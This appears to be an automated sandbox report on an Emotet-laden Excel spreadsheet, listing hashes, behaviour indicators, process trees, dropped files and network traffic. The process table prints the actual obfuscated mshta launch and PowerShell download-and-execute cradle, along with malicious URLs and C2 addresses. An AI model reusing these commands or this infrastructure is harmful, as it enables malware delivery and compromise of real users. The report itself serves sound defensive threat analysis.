| File name: | report 01 24 2022.xls |
| Full analysis: | https://app.any.run/tasks/fcaec7dd-81ac-4d28-be2c-ad1388c67e2e |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 24, 2022, 18:31:31 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jan 24 01:40:11 2022, Last Saved Time/Date: Mon Jan 24 01:57:49 2022, Security: 0 |
| MD5: | 7D4831A889F935E5FA6004F12C11D9C3 |
| SHA1: | E2079E67854C2AB4F3EC63D4B976E446C433108C |
| SHA256: | 884400589FD2B1D61B2F88EDC5FD97AA90B2A4CD2277C07C4A468D3A0CBD2A1A |
| SSDEEP: | 3072:yW+nBqmsk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIXxe53lGvFTQ3IzxgdrvxpU0S:t+nBqmsk3hbdlylKsgqopeJBWhZFVE+S |
MALICIOUS
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 2232)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 2232)
Loads dropped or rewritten executable
- SearchProtocolHost.exe (PID: 3128)
- rundll32.exe (PID: 3368)
- rundll32.exe (PID: 1996)
- rundll32.exe (PID: 904)
- rundll32.exe (PID: 3012)
Executes PowerShell scripts
- mshta.exe (PID: 2364)
Connects to CnC server
- rundll32.exe (PID: 3012)
SUSPICIOUS
Checks supported languages
- cmd.exe (PID: 1888)
- cmd.exe (PID: 2404)
- mshta.exe (PID: 2364)
- powershell.exe (PID: 1936)
Reads the computer name
- mshta.exe (PID: 2364)
- powershell.exe (PID: 1936)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 1888)
Reads Microsoft Outlook installation path
- mshta.exe (PID: 2364)
Drops a file with a compile date too recent
- powershell.exe (PID: 1936)
- rundll32.exe (PID: 1996)
Reads Environment values
- powershell.exe (PID: 1936)
Executable content was dropped or overwritten
- powershell.exe (PID: 1936)
- rundll32.exe (PID: 1996)
Uses RUNDLL32.EXE to load library
- rundll32.exe (PID: 1996)
- rundll32.exe (PID: 904)
- rundll32.exe (PID: 3368)
- cmd.exe (PID: 2404)
Application launched itself
- rundll32.exe (PID: 904)
- rundll32.exe (PID: 1996)
Starts itself from another location
- rundll32.exe (PID: 3368)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 1936)
INFO
Checks supported languages
- EXCEL.EXE (PID: 2232)
- PING.EXE (PID: 2740)
- timeout.exe (PID: 2460)
- rundll32.exe (PID: 3368)
- rundll32.exe (PID: 3012)
- rundll32.exe (PID: 904)
- rundll32.exe (PID: 1996)
Reads the computer name
- EXCEL.EXE (PID: 2232)
- PING.EXE (PID: 2740)
- rundll32.exe (PID: 1996)
- rundll32.exe (PID: 3012)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 2232)
Reads internet explorer settings
- mshta.exe (PID: 2364)
Checks Windows Trust Settings
- powershell.exe (PID: 1936)
- rundll32.exe (PID: 3012)
Reads settings of System Certificates
- rundll32.exe (PID: 3012)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
|---|
EXIF
FlashPix
| HeadingPairs: |
|
|---|---|
| TitleOfParts: |
|
| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| Company: | - |
| CodePage: | Windows Cyrillic |
| Security: | None |
| ModifyDate: | 2022:01:24 01:57:49 |
| CreateDate: | 2022:01:24 01:40:11 |
| Software: | Microsoft Excel |
| LastModifiedBy: | xXx |
| Author: | xXx |
Total processes
51
Monitored processes
12
Malicious processes
5
Suspicious processes
3
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 904 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Qupolbegjjqoo\wprf.brb",EaEVAYevddIb | C:\Windows\system32\rundll32.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1888 | cmd /c ping google.com && timeout 4 && start ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e5.h^tm^l | C:\Windows\system32\cmd.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1936 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe5.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
| 1996 | C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2232 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2364 | mshta http://0xb907d607/fer/fe5.html | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
| |||||||||||||||
| 2404 | "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2460 | timeout 4 | C:\Windows\system32\timeout.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: timeout - pauses command processing Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2740 | ping google.com | C:\Windows\system32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3012 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Qupolbegjjqoo\wprf.brb",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
8 959
Read events
8 799
Write events
147
Delete events
13
Modification events
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | j#6 |
Value: 6A233600B8080000010000000000000000000000 | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (2232) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
9
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2232 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR274A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2364 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\fe5[1].htm | binary | |
MD5:— | SHA256:— | |||
| 3012 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | binary | |
MD5:— | SHA256:— | |||
| 3012 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\CabD0E8.tmp | compressed | |
MD5:ACAEDA60C79C6BCAC925EEB3653F45E0 | SHA256:6B0CECCF0103AFD89844761417C1D23ACC41F8AEBF3B7230765209B61EEE5658 | |||
| 3012 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | compressed | |
MD5:F7DCB24540769805E5BB30D193944DCE | SHA256:6B88C6AC55BBD6FEA0EBE5A760D1AD2CFCE251C59D0151A1400701CB927E36EA | |||
| 1936 | powershell.exe | C:\Users\admin\AppData\Local\Temp\jy3xzcg3.upo.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 1996 | rundll32.exe | C:\Users\admin\AppData\Local\Qupolbegjjqoo\wprf.brb | executable | |
MD5:— | SHA256:— | |||
| 1936 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:1068BF0B9B98C206F587A7DB05F6DD06 | SHA256:534478EDAFC5087DAA3749624454988B1F7DF923BF1A0A9E28C5F97C3308CFDB | |||
| 1936 | powershell.exe | C:\Users\admin\AppData\Local\Temp\1r3c54jw.pnn.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 3012 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 | binary | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
23
DNS requests
8
Threats
10
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2364 | mshta.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe5.html | FR | binary | 10.7 Kb | malicious |
1936 | powershell.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe5.png | FR | text | 1.05 Kb | malicious |
3012 | rundll32.exe | GET | 200 | 23.32.238.178:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?caff5126f7e2c9ce | US | compressed | 4.70 Kb | whitelisted |
1936 | powershell.exe | GET | 200 | 46.51.216.192:80 | http://iwannago.dev.bizapps.sg/axedi/gtlf2pXOavEAOR/ | SG | executable | 780 Kb | suspicious |
3012 | rundll32.exe | GET | 200 | 23.32.238.178:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?cc3e329949c8166f | US | compressed | 59.9 Kb | whitelisted |
1936 | powershell.exe | GET | 403 | 92.222.139.190:80 | http://dopevision.tn/wp-admin/SiXj7Yc9QQrTa/ | FR | html | 261 b | malicious |
1936 | powershell.exe | GET | 404 | 89.46.105.75:80 | http://www.ufficiomodernosas.it/old/IzGP8VipCQxWMDuum/ | IT | html | 196 b | suspicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
1936 | powershell.exe | 103.104.73.107:443 | ss100feet.com | — | — | malicious |
1936 | powershell.exe | 46.51.216.192:80 | iwannago.dev.bizapps.sg | Amazon.com, Inc. | SG | suspicious |
3012 | rundll32.exe | 80.211.3.13:8080 | — | Aruba S.p.A. | IT | malicious |
3012 | rundll32.exe | 23.32.238.178:80 | ctldl.windowsupdate.com | XO Communications | US | suspicious |
3012 | rundll32.exe | 131.100.24.231:80 | — | GOPLEX TELECOMUNICACOES E INTERNET LTDA - ME | BR | malicious |
3012 | rundll32.exe | 45.142.114.231:8080 | — | — | — | malicious |
— | — | 92.222.139.190:80 | dopevision.tn | OVH SAS | FR | malicious |
3012 | rundll32.exe | 110.232.117.186:8080 | — | RackCorp | AU | malicious |
2364 | mshta.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| malicious |
dopevision.tn |
| malicious |
ss100feet.com |
| malicious |
directorio.reservado.com.bo |
| unknown |
www.top-art.co.il |
| unknown |
www.ufficiomodernosas.it |
| suspicious |
iwannago.dev.bizapps.sg |
| suspicious |
ctldl.windowsupdate.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1936 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1936 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1936 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
3012 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 22 |
3012 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 5 |
5 ETPRO signatures available at the full report